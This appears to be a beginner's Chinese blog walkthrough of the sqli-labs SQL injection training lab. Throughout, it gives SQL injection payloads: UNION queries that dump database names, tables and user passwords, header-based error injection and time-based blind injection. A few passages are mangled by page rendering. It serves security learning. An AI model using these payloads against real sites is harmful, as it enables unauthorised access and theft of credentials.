小白闯sqli-labs

sqli-labs1-65大致通关攻略
靶场搭建攻略大家可以在网上自行百度,小白我选择的是用docker,这也是一次docker的初尝试,第一次发现原来docker的容器技术这么博大精深,镜像下载之后,容器内就可以带自己的数据库,甚至不需要再自己搭建,真的方便,顺便讲一下查找你的数据库的方法,docker exec -it CONTAINER ID /bin/bash进入容器后按照正常方法查看就OK了在这里插入图片描述
首先先对一些基础的知识进行下总结。

有回显的SQL注入
执行SQL查询,其结果能回显到页面中,那么可直接进行有回显的SQL注入

查询语句
i d = id= id=_GET[‘id’];
SELECT * FROM test WHERE id=’$id’ LIMIT 0,1;

判断字段数
?id=1’ ORDER BY 3–+
判断显示位
?id=-1’ UNION SELECT 1,2,3–+
利用函数获得信息
?id=-1 UNION SELECT 1,(version()),3–+
爆库
?id=-1’ UNION SELECT 1,(SELECT schema_name FROM information_schema.schemata LIMIT 0,1),3–+ //用LIMIT来定位查询,一个一个爆数据库
?id=-1’ UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata–+ //用group_concat()实现一个显示位爆出该字段下所有记录
爆表
?id=-1’ UNION SELECT 1,(SELECT table_name FROM information_schema.tables WHERE table_schema=‘security’ LIMIT 0,1),3–+
爆字段
?id=-1’ UNION SELECT 1,(SELECT column_name FROM information_schema.columns WHERE table_schema=‘security’ AND table_name=‘users’ LIMIT 0,1),3–+
爆数据
?id=-1’ UNION SELECT 1,(SELECT username FROM security.users LIMIT 0,1),3–+

get型注入,简而言之就是在url栏上进行注入。其中的方式
?id=-1’ union select 1,2,database() --+

?id=-1’ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

?id=0’ union select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ --+

?id=0’ union select 1,2,group_concat(username,0x3a,password) from users–+

注意:我们做这些题的最终目的都是能得出用户名和密码。

第一关GET - Error based - Single quotes - String(基于错误的GET单引号字符型注入)和第二关GET - Error based - Intiger based (基于错误的GET整型注入):

其实第一关和第二关基本差不多,他们的区别是:第一关是字符型注入,而第二关是数字型注入,基本的查询语句以及方法都是差不多的。(可以用1和1’进行一下区分)

首先我们需要进行一下判断:?id=1 and 1=2 --+是否是字符型注入,我们看到回显正常,不是数字型注入。id=1 and 1=1 --+
我们在后面加上–+进行一下闭合,(–+就是注释符号,注释了后面的语句),look,回显正常,说明是单引号字符型注入在这里插入图片描述

接下来判断表有几列数剧在这里插入图片描述
接下来我们我们来找出显示位。(?id=1’ and 1=2 union select 1,2,3 --+),经过试验发现2、3位是显示位,那么我们就可以从这两个突破口进行突破。在这里插入图片描述
接下来我们就来找出数据库的数据库名、表名、列名、和字段的信息。

我们先查一下版本和名字:(?id=1’ and 1=2 union select 1,version(),database() --+)在这里插入图片描述

接下来可以依据这个和回显位来进行数据库名字的查看:?id=1’ AND 1=2 union select 1,(select group_concat(schema_name) from information_schema.schemata),3 --+在这里插入图片描述
查询security的所有表的表名:?id=1’ AND 1=2 union select 1,2,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’)–+

接着爆破出列名:?id=1’ AND 1=2 union select 1,2,(select group_concat(column_name) from information_schema.columns where table_name=‘users’) --+在这里插入图片描述
最后就可以查找出用户名和密码了:?id=1’ AND 1=2 union select 1,(select group_concat(password) from security.users) ,(select group_concat(username) from security.users) --+在这里插入图片描述
Less-2
首先,输入/?id=1正常,输入/?id=1’–+或/?id=1’)–+都错误,说明该关为数字型注入,不需要闭合。其他查询语句见Less-1。

Less-3
首先,输入/?id=1正常,输入/?id=1’–+错误,输入/?id=1’)–+页面显示正常,说明该关以’)和–+闭合。其他查询语句见Less-1。

Less-4
首先,输入/?id=1正常,输入/?id=1’–+和/?id=1’)–+页面正常,但用order by 查询字段数时页面无变化,换成/?id=1") order by 4–+,页面变化。说明该关以")和–+闭合。其他查询语句见Less-4

Less-5
首先,输入/?id=1,显示you are in。。。。,按照之前的方式我们还可以判断出他有三列,我们可以选择使用burpsuite进行爆破,也可以选用二分法还有什么报错型注入,需要我在之后的学习下进一步了解了。。

Less-6
与LESS5类似

Less-7
首先学习函数
要入文件录入的方式,outfile函数 dumpfile函数
outfile函数就是将数据库的查询内容导出到一个外部文件

dumpfile 转储函数
转储函数只能储存一行数据所以我们在导出的时候需要加以限制

load_file 下载文件,作用是从操作系统向数据库中写入文件,和前面的outfile刚好相反在之后对文件写入一个一句话木马(没有进行实践)

Less-8
布尔型单引号GET盲注
再判断注入类型的时候,没有明显的报错回显,使用报错语句没有报错,我们采用布尔型盲注数据库名字是security总共有8位,所以我们这里使用
?id=1’ and length(database())=8 --+注入在这里插入图片描述
插播一个方式,很多题都可以直接用sqlmap(盲注效率低)之后的学习我会去了解
Less-9
if(a,b,c)函数: 判断a,如果a为真,则执行b;a为假,则执行。
sleep(x)函数: 延迟x秒
本关采用时间延迟盲注

输入 /?id=1’ and if(ascii(substr(database(),1,1))>‘98’),sleep(5),1)–+,如果为真,就延迟5s出现网页结果。依次推出库名。
less-10
延迟注入,用SQLMAP直接跑

Less-11-16

在这里插入图片描述
我们先用burp抓包,获得uname=admin&passwd=admin&submit=Submit

之后还是先让他报错。判断闭合方式,uname=ad”)or 1=1#&passwd=admin&submit=Submit
题型变化不大

Less-17
与前面出现了不同,这里开始过滤掉了我们一开始的注入了,会被转义我们选择一些报错注入的方式,用updatexml使我们想要得到的信息进行回显

Less18
基于’的User-Agent:报头文报错注入,注入语句:
‘,1,updatexml(1,concat(0x7e, database(),0x7e),1))#
先用Burp Suite抓取输入正确用户密码的登录页面在这里插入图片描述,然后在报头文User-Agent:后加入注入语句即可
Less-19
把报头文改成referer:就行了
Less-20
方法与上面类似报头文改成cookie:
注入语句uname=’ union select 1,2,(updatexml(1,concat(0x7e, database(),0x7e),1))# ;
Less-21-38
“高级注入”
less-21——基于’)字符型的Cookie注入
less-22——基于"字符型的Cookie注入
less-23——过滤注释的GET型注入
less-24——二次注入
假设我们有账号admin,利用一些很巧妙的手段注册时后面填加符号,然后修改密码,此时登陆admin会发现与添加符号的修改后密码一样
less-25——过滤or和and的单引号注入
注入语句:
id=-1’ union select 1,2,3–
less-26——基于’过滤注释和空格的注入
less-27——基于’过滤union、select与注释和空格的注入
less-28——基于’)过滤union和select等的注入
less-29 index.php——基于单引号字符型的注入
less-30 index.php——基于双引号字符型的注入
less-31——基于")字符型的注入
less-32——宽字节注入
less-33——get方式宽字节注入
less-34——post方式宽字节注入
less-35——数值型注入
less-36——宽字节注入
less-37——宽字节post注入(堆叠注入)
less38-结尾
要先对堆叠注入有一定的了解https://mp.weixin.qq.com/s?src=11&timestamp=1594825715&ver=2462&signature=K3HpnB6HohEgm0alwqMvm5JR3HWAkxfQ9qv-1n1TLDU7IJKr4CMD3GwipFapQH75zSoRkYPvXEfLeJWlfKThQhR98BMsHTPcmTBV09RcMTX19DpXWNURS02nJildKg&new=1
大家可以点开这个网址进行下了解哈,sql语句是可以很多条一起执行的

less46 order by 常见注入虽然都是在用户id,帐号密码等地方进行注入,但有时也可能出现注入点在order by语句之后
less47-54对前面知识更加深入后我会再来试一下,现在只能根据前人的经验进行抄袭。。
less54-65
同样是联合查询,但它可以进行了次数的限制。。。。我还没有那个能完善的能力,讲解他。。。
求大佬们包容

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值